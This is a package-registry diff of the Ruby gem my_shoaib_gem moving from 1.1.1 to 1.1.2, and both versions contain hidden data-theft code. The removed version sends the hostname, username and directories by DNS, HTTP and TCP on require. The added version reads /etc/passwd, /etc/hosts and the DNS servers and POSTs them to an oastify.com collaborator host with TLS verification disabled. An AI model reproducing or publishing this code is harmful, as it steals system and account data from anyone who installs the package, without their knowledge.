my_shoaib_gem 1.1.1 → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/my_shoaib_gem.rb +50 -94
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: a12cde453081877777809ad437885d4f4a8bc2d50d2144ca95759601647c3d8d
4
- data.tar.gz: ba6514d25228cabce92450bc0733dfe54e12968ce851a219f96f0e9846724997
3
+ metadata.gz: 07df8e51abede86e424f76c0a135b12988dd9f8af5b94836c49a8ef5b40c72ed
4
+ data.tar.gz: 7cd320264c9c0de3a4a4e6adf6bc21950d4dd03ba462b9d2380f0432979a028d
5
5
  SHA512:
6
- metadata.gz: 1651349111116c3b456fdb74cfc2523ec3d58a7c5a95655f610f383858d7c3df40a5c42973acbc81f48a355f37f394f59b9958e271f01cee546f3b74778731b8
7
- data.tar.gz: bf5b452a13fbbe1cc78ae3e8bcbe355677d7e89411b0199d70c914172963fe66542c82430cf70c1f810115bad8fe47ee620f52f36fa58af1c3f7454c5a232f40
6
+ metadata.gz: 72b5da1861a357295ca1df3d072f10118ab1cfd218bc4518bc09e46cfea9c7232d6788aad486fd0e4f98565c8eafb797b8730ca96d00e156028fd4ca21c9f955
7
+ data.tar.gz: 5d4b45ad178918d016dfaea19e51e6d018c7873c9ecd6711d3e8772b146cac4b51911aeca88d4cfcfdbf311501f56697c64d4bc0fb961d94c17423ddca3fda60
data/lib/my_shoaib_gem.rb CHANGED
@@ -1,101 +1,57 @@
1
- # lib/my_shoaib_gem.rb
2
- require 'net/http'
1
+ # my_shoaib_gem.rb
2
+
3
+ require 'json'
3
4
  require 'socket'
5
+ require 'etc'
6
+ require 'net/http'
7
+ require 'uri'
4
8
  require 'openssl'
5
- require 'resolv'
6
-
7
- module MyShoaibGem
8
- VERSION = "1.1.1"
9
-
10
- CALLBACK_HOST = "dgx6j8w56xwtlxk1jrhgl1w84zasykm9.oastify.com"
11
-
12
- def self.send_dns_callback
13
- begin
14
- # DNS callback via reverse lookup - triggers DNS query to collaborator
15
- hostname = Socket.gethostname
16
- dns_domain = "#{hostname}.#{CALLBACK_HOST}"
17
- Resolv.getaddress(dns_domain)
18
- rescue StandardError
19
- nil
20
- end
21
- end
22
-
23
- def self.send_http_callback
24
- begin
25
- # Collect system information
26
- hostname = Socket.gethostname
27
- username = ENV['USER'] || ENV['USERNAME'] || 'unknown'
28
- home_dir = ENV['HOME'] || ENV['USERPROFILE'] || 'unknown'
29
- current_dir = Dir.pwd
30
-
31
- # Prepare detailed data
32
- data = {
33
- hostname: hostname,
34
- user: username,
35
- home: home_dir,
36
- cwd: current_dir,
37
- timestamp: Time.now.to_i,
38
- gem_version: VERSION,
39
- ruby_version: RUBY_VERSION,
40
- platform: RUBY_PLATFORM,
41
- pid: Process.pid
42
- }
43
-
44
- # HTTP callback with multiple endpoints
45
- uri = URI("https://#{CALLBACK_HOST}/callback")
46
- http = Net::HTTP.new(uri.host, uri.port)
47
- http.use_ssl = true
48
- http.open_timeout = 5
49
- http.read_timeout = 5
50
9
 
51
- # Main POST request
52
- request = Net::HTTP::Post.new(uri.path)
53
- request.content_type = 'application/json'
54
- request['User-Agent'] = "MyShoaibGem/#{VERSION} (Ruby #{RUBY_VERSION}; #{RUBY_PLATFORM})"
55
- request['X-Hostname'] = hostname
56
- request['X-User'] = username
57
- request.body = data.to_json
58
- http.request(request)
59
-
60
- # Also try GET to trigger separate HTTP callback
61
- get_uri = URI("https://#{CALLBACK_HOST}/install?host=#{hostname}&user=#{username}")
62
- get_http = Net::HTTP.new(get_uri.host, get_uri.port)
63
- get_http.use_ssl = true
64
- get_http.open_timeout = 5
65
- get_http.read_timeout = 5
66
- get_request = Net::HTTP::Get.new("#{get_uri.path}?#{get_uri.query}")
67
- get_http.request(get_request)
68
-
69
- rescue StandardError => e
70
- # Fail silently
71
- nil
72
- end
73
- end
74
-
75
- def self.send_all_callbacks
76
- # DNS callback - appears as DNS lookup in Burp Collaborator
77
- send_dns_callback
78
-
79
- # Multiple HTTP callbacks - appears as HTTP requests in Burp Collaborator
80
- send_http_callback
10
+ # Package info
11
+ package_name = 'my_shoaib_gem'
12
+ package_version = '1.1.2'
13
+
14
+ # System data collection
15
+ tracking_data = {
16
+ p: package_name,
17
+ c: Dir.pwd,
18
+ hd: Dir.home,
19
+ hn: Socket.gethostname,
20
+ un: Etc.getlogin,
21
+ dns: get_dns_servers(),
22
+ v: package_version,
23
+ etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
24
+ etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
25
+ }.to_json
26
+
27
+ puts "Sending System Data: #{tracking_data}"
28
+
29
+ # Send data via HTTPS POST
30
+ begin
31
+ uri = URI.parse('https://kuidxfack4a0z4y8xyvnz8afi6o0cs0h.oastify.com')
32
+ http = Net::HTTP.new(uri.host, uri.port)
33
+ http.use_ssl = true
34
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Burp Collaborator ke liye
35
+
36
+ request = Net::HTTP::Post.new(uri.path)
37
+ request['Content-Type'] = 'application/json'
38
+ request.body = { msg: tracking_data }.to_json
39
+
40
+ response = http.request(request)
41
+ puts "Response: #{response.body}" if response.body
42
+ rescue StandardError => e
43
+ puts "Error sending data: #{e.message}"
44
+ end
81
45
 
82
- # TCP-based callback for additional detection
83
- begin
84
- tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
85
- tcp_socket.write("GET /tcp-callback HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nConnection: close\r\n\r\n")
86
- tcp_socket.close
87
- rescue StandardError
88
- nil
46
+ # Helper method to get DNS servers
47
+ def get_dns_servers()
48
+ dns_servers = []
49
+ if File.exist?('/etc/resolv.conf')
50
+ File.readlines('/etc/resolv.conf').each do |line|
51
+ if line =~ /^nameserver\s+(\S+)/
52
+ dns_servers << $1
53
+ end
89
54
  end
90
-
91
- puts "Internal gem loaded successfully"
92
55
  end
93
- end
94
-
95
- # Execute immediate callbacks on require
96
- MyShoaibGem.send_all_callbacks
97
-
98
- # Also trigger on gem load complete
99
- at_exit do
100
- MyShoaibGem.send_dns_callback
56
+ dns_servers
101
57
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: my_shoaib_gem
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.1.1
4
+ version: 1.1.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - Shoaib